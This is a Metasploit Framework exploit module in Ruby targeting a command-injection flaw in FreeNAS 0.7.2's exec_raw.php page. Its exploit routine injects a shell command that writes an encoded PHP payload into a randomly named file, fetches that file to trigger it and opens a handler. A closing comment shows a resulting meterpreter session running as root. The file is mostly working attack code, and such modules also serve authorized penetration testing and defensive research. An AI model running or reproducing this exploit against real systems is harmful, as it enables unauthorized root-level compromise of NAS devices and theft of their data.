##
# $Id: freenas_exec_raw.rb 11015 2010-11-12 23:14:46Z jduck $
###

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreeNAS exec_raw.php Arbitrary Command Execution.',
      'Description'    => %q{
          This module exploits an arbitrary command execution flaw
        in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
        to the exec_raw.php page, an attacker may be able to execute arbitrary
        commands.

        NOTE: This module works best with php/meterpreter payloads.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 11015 $',
      'References'     =>
        [
          [ 'URL', 'https://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ],
        ],
      'Payload'  =>
        {
          'Space'    => 6144,
          'DisableNops' => true,
          'BadChars'    => "`\"' %&x",
        },
      'Targets'  =>
        [
          [ 'Automatic Target', { } ]
        ],
      'Privileged' => 'true',
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'DisclosureDate' => 'Nov 6 2010',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
      ], self.class)
  end

  def exploit

    page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"

    shellcode = payload.encoded

    sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"

    print_status("Sending exploit page '#{page}'")

    res = send_request_raw(
      {
        'uri'  => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
      }, 10)

    if (res and res.code == 200)
      print_status("Triggering payload...")
      send_request_raw({ 'uri' => "/#{page}" }, 5)
      handler
    else
      print_error("Exploit failed.")
      return
    end

  end

end

=begin
meterpreter > sysinfo
Computer: freenas.local
OS      : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010     root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
meterpreter > getuid
Server username: root (0)
meterpreter >
=end